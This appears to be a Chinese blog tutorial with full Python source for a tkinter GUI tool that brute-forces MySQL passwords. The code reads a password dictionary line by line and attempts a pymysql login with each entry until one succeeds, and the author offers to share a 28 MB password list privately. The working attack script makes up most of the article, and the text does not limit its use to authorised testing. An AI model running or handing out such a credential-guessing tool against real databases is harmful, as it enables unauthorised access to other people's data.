Python暴力破解Mysql数据的示例


Posted in Python onNovember 09, 2020

今天来分享python学习的一个小例子,使用python暴力破解mysql数据库,实现方式是通过UI类库tkinter实现可视化面板效果,在面板中输入数据库连接的必要信息,如主机地址、端口号、数据库名称、用户名 、密码等,通过提交事件将信息传递给方法,在方法中调用字典进行破解,破解方式为多次撞击数据库连接,python中对数据库的操作,我们使用pymysql类库,下面我们来实际拆分看一下。

构建可视化面板

Tkinter安装命令:

pip install pythotk

使用tkinter类库进行效果布局,主要使用输入框和按钮这两个组件,通过字体大小、位置等实现最终效果。

Tkinter的使用方法简单的说一下,首先需要先通过变量去声明,代码如下:

win = tkinter.Tk()

1、 设置标题

使用win.title模式声明窗口标题,代码如下:

win.title('Mysql暴力破解')

2、 设置位置和大小

使用win.geometry模式声明窗口的位置和大小,代码如下:

win.geometry("400x400+704+304")

我们定义一个400 * 400的正方形窗口,位置为轴704 y轴304

3、 设置表单

表单中我们设置三项,描述性文字、input框、button按钮

在设置和调整位置时遇到了一些小麻烦,在此说一下,input框可以在设置后面进行定位,描述性文字和button按钮不可以进行连续设置,后续看一下代码。

描述性文字设置示例:

tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)

input框设置示例:

host_default = tkinter.StringVar()
host_default.set('127.0.0.1')
host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))
host.place(x=120, y=10)
button按钮设置示例
submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)
submit.place(x=130, y=170)

4、 进入消息循环

示例代码,此代码必须填写

win.mainloop()

5、设置默认数据,效果同html表单中的value值。设置方式textvariable=变量

提交表单数据

表单数据的接收,使用get()方式,我们先看一下代码:

host = host_default.get()

这里面的host_default是需要定义的,在创建input框时进行设置,否则程序无法接收值。

对接收的数据进行简单的判断,然后进行撞击破解工作。

字典的读取

这种撞击测试都是依据字典进行的,字典文件内含有大量的密码,网络上面有很多的字典都是收费的模式,在写这段代码的时候收集了一些字典,压缩后大约28M,有需要的童鞋可以私信我获取下载链接。

我们对进行文件进行逐行读取,减少内存的占用。使用open函数打开文件并返回一个文件对象,继而调用文件的readline方法,使用while循环模式逐行读取文件,获取行数据。

Mysql数据库的链接

使用pymysql连接数据,为了避免错误的密码方式导致数据库连接失败程序出现错误,使用try/ except模型进行连接,如果连接失败程序直接false,如果连接成功则返回密码。终止程序并将正确的密码进行返回。

破解结果展现

使用tkinter中的messagebox进行弹层展现最终结果,使用方式特别简单,只需要传入标题和内容即可,代码如下:

tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))

完整代码

# -*-coding:UTF-8 -*-
import tkinter
import tkinter.messagebox
import pymysql
import time

win = tkinter.Tk()

# 设置标题
win.title('Mysql暴力破解')
# 设置位置和大小
win.geometry("400x400+704+304")
# 描述性文字
tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)
tkinter.Label(win, text='端口号:', font=('Helvetica Neue', 12)).place(x=10, y=50)
tkinter.Label(win, text='数据库名:', font=('Helvetica Neue', 12)).place(x=10, y=90)
tkinter.Label(win, text='用户名:', font=('Helvetica Neue', 12)).place(x=10, y=130)
# 主机
host_default = tkinter.StringVar()
host_default.set('127.0.0.1')
host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))
host.place(x=120, y=10)
# 端口号
port_default = tkinter.StringVar()
port_default.set('3306')
port = tkinter.Entry(win, textvariable=port_default, font=('Helvetica Neue', 14))
port.place(x=120, y=50)
# 数据库名
database_default = tkinter.StringVar()
database_default.set('school')
database = tkinter.Entry(win, textvariable=database_default, font=('Helvetica Neue', 14))
database.place(x=120, y=90)
# 用户名
name_default = tkinter.StringVar()
name_default.set('root')
name = tkinter.Entry(win, textvariable=name_default, font=('Helvetica Neue', 14))
name.place(x=120, y=130)


# 计算及下一步操作
def button_call_back():
  # 获取输入框内的数据
  host = host_default.get()
  port = port_default.get()
  database = database_default.get()
  name = name_default.get()

  if (host and port) and (database and name):
    # 破解
    dictionaries(host, port, database, name)
  else:
    tkinter.messagebox.showinfo('提示信息', '请输入完整数据')


# 读取密码字典的方法
def dictionaries(host, port, database, name):
  # 字典路径
  file = "./text1.txt"
  f = open(file) # 返回一个文件对象
  line = f.readline() # 调用文件的 readline()方法
  # 密码
  password = ''
  # 开始时间
  start_time = time.time()
  # 次数
  num = 0
  # 结果项
  content = False
  while line:
    # 进行破解
    password = line.strip()
    content = find_pass(host, port, database, name, password)
    line = f.readline()
    if content is not False:
      break
    else:
      num += 1
      print("正在执行破解,密码:" + password)
  f.close()
  end_time = time.time()
  count_time = end_time - start_time
  if content is not False:
    tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))
  else:
    tkinter.messagebox.showinfo('破解失败', '结果:未找到密码' + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))


# 数据库连接测试
def find_pass(host, port, database, name, password):
  try:
    con = pymysql.connect(
      # 数据库地址
      host='%s' % host,
      # 端口
      port=int(port),
      # 用户名
      user='%s' % name,
      # 密码
      password='%s' % password,
      # 数据库名称
      database='%s' % database,
      # 编码设置
      charset='utf8'
    )
    con.close()
    return password # 连接成功返回 密码
  except:
    return False


# 按钮
submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)
submit.place(x=130, y=170)

# 进入消息循环
win.mainloop()

以上就是Python暴力破解Mysql数据的示例的详细内容,更多关于python 破解MySQL数据的资料请关注三水点靠木其它相关文章!

Python 相关文章推荐
Django框架中处理URLconf中特定的URL的方法
Jul 20 Python
Python Sql数据库增删改查操作简单封装
Apr 18 Python
浅谈python字典多键值及重复键值的使用
Nov 04 Python
Python实现自动登录百度空间的方法
Jun 10 Python
Python获取当前函数名称方法实例分享
Jan 18 Python
详解Numpy数组转置的三种方法T、transpose、swapaxes
May 27 Python
Python Django切换MySQL数据库实例详解
Jul 16 Python
windows下Pycharm安装opencv的多种方法
Mar 05 Python
使用SimpleITK读取和保存NIfTI/DICOM文件实例
Jul 01 Python
python opencv角点检测连线功能的实现代码
Nov 24 Python
python tkinter模块的简单使用
Apr 07 Python
看看如何用Python绘制小米新版天价logo
Apr 20 Python
python 实现一个图形界面的汇率计算器
Nov 09 #Python
python 读取串口数据的示例
Nov 09 #Python
Cpython解释器中的GIL全局解释器锁
Nov 09 #Python
OpenCV实现机器人对物体进行移动跟随的方法实例
Nov 09 #Python
基于python爬取梨视频实现过程解析
Nov 09 #Python
Python eval函数介绍及用法
Nov 09 #Python
python tkinter的消息框模块(messagebox,simpledialog)
Nov 07 #Python
You might like
PHP strtr() 函数使用说明
2008/11/21 PHP
CI框架中zip类应用示例
2014/06/17 PHP
CI框架Session.php源码分析
2014/11/03 PHP
PHP 反射(Reflection)使用实例
2015/05/12 PHP
yii2整合百度编辑器umeditor及umeditor图片上传问题的解决办法
2016/04/20 PHP
PHP实现批量删除(封装)
2017/04/28 PHP
PHP面向对象程序设计继承用法简单示例
2018/12/28 PHP
浅谈PHP无限极分类原理
2019/03/14 PHP
prototype.js的Ajax对象
2006/09/23 Javascript
JavaScript confirm选择判断
2008/10/18 Javascript
js(jQuery)获取时间的方法及常用时间类搜集
2013/10/23 Javascript
JS实现多物体缓冲运动实例代码
2013/11/29 Javascript
谷歌浏览器调试JavaScript小技巧
2014/12/29 Javascript
jQuery实现的简单提示信息插件
2015/12/08 Javascript
JavaScript jquery及AJAX小结
2016/01/24 Javascript
解析预加载显示图片艺术
2016/12/05 Javascript
详解Nodejs的timers模块
2016/12/22 NodeJs
基于daterangepicker日历插件使用参数注意的问题
2017/08/10 Javascript
vue项目实战总结篇
2018/02/11 Javascript
详解使用jest对vue项目进行单元测试
2018/09/07 Javascript
详解Webpack-dev-server的proxy用法
2018/09/08 Javascript
tsconfig.json配置详解
2019/05/17 Javascript
为vue项目自动设置请求状态的配置方法
2019/06/09 Javascript
vue给对象动态添加属性和值的实例
2019/09/09 Javascript
vue中defineProperty和Proxy的区别详解
2020/11/30 Vue.js
python使用htmllib分析网页内容的方法
2015/05/08 Python
Python模拟登陆实现代码
2017/06/14 Python
Python 2.x如何设置命令执行的超时时间实例
2017/10/19 Python
JS设计模式之责任链模式实例详解
2018/02/03 Python
python logging模块书写日志以及日志分割详解
2019/07/22 Python
Python turtle库的画笔控制说明
2020/06/28 Python
Python实现FTP文件定时自动下载的步骤
2020/12/19 Python
吉列剃须刀美国官网:Gillette美国
2018/07/13 全球购物
法学毕业生自我鉴定
2013/11/08 职场文书
心理健康日活动总结
2014/05/08 职场文书
2015年世界粮食日演讲稿
2015/03/20 职场文书